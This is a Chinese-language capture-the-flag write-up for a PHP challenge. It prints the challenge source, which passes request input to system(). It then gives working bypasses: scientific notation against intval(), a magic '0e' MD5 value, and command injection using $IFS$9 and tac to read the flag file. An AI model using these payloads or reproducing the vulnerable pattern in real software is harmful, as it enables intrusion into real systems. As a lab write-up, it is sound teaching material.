朴实无华

先访问index.php,云里雾里的警告提示。

手动尝试找了几个敏感文件,发现存在robots.txt,访问得假flag。

HTTP报文存在提示,访问拿到源码,比较烦的是编码解析问题,需要换个编码。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士,不是想看时间,只是想不经意间,让你知道我过的比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "想到这个CTFer拿到flag后,感激涕零,跑去东澜岸,找一家餐厅,把厨师轰出去,自己炒两个拿手小菜,倒一杯散装白酒,致富有道,别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友,他打了电话,把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里,我充实而欣慰,有钱人的快乐往往就是这么的朴实无华,且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

第一关需要变量num小于2020,且+1后大于2021。很容易想到是PHP弱类型比较。intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过。

注意这个绕过方式只能在PHP5.5的版本进行复现,我在PHP7的版本及以上复现失败。

echo intval(1e10);    // 10000000000
echo intval('1e10');  // 1

提交payload:

num=2e4

第二关是MD5等于自身的绕过方式,这类的值在网上有很多,原理是0e开头的值可以绕过。

md5=0e215962017

第三关是命令注入,但是过滤了 cat 和空格,空格可以使用 $IFS 代替,cat 可以用 tac

get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

Last updated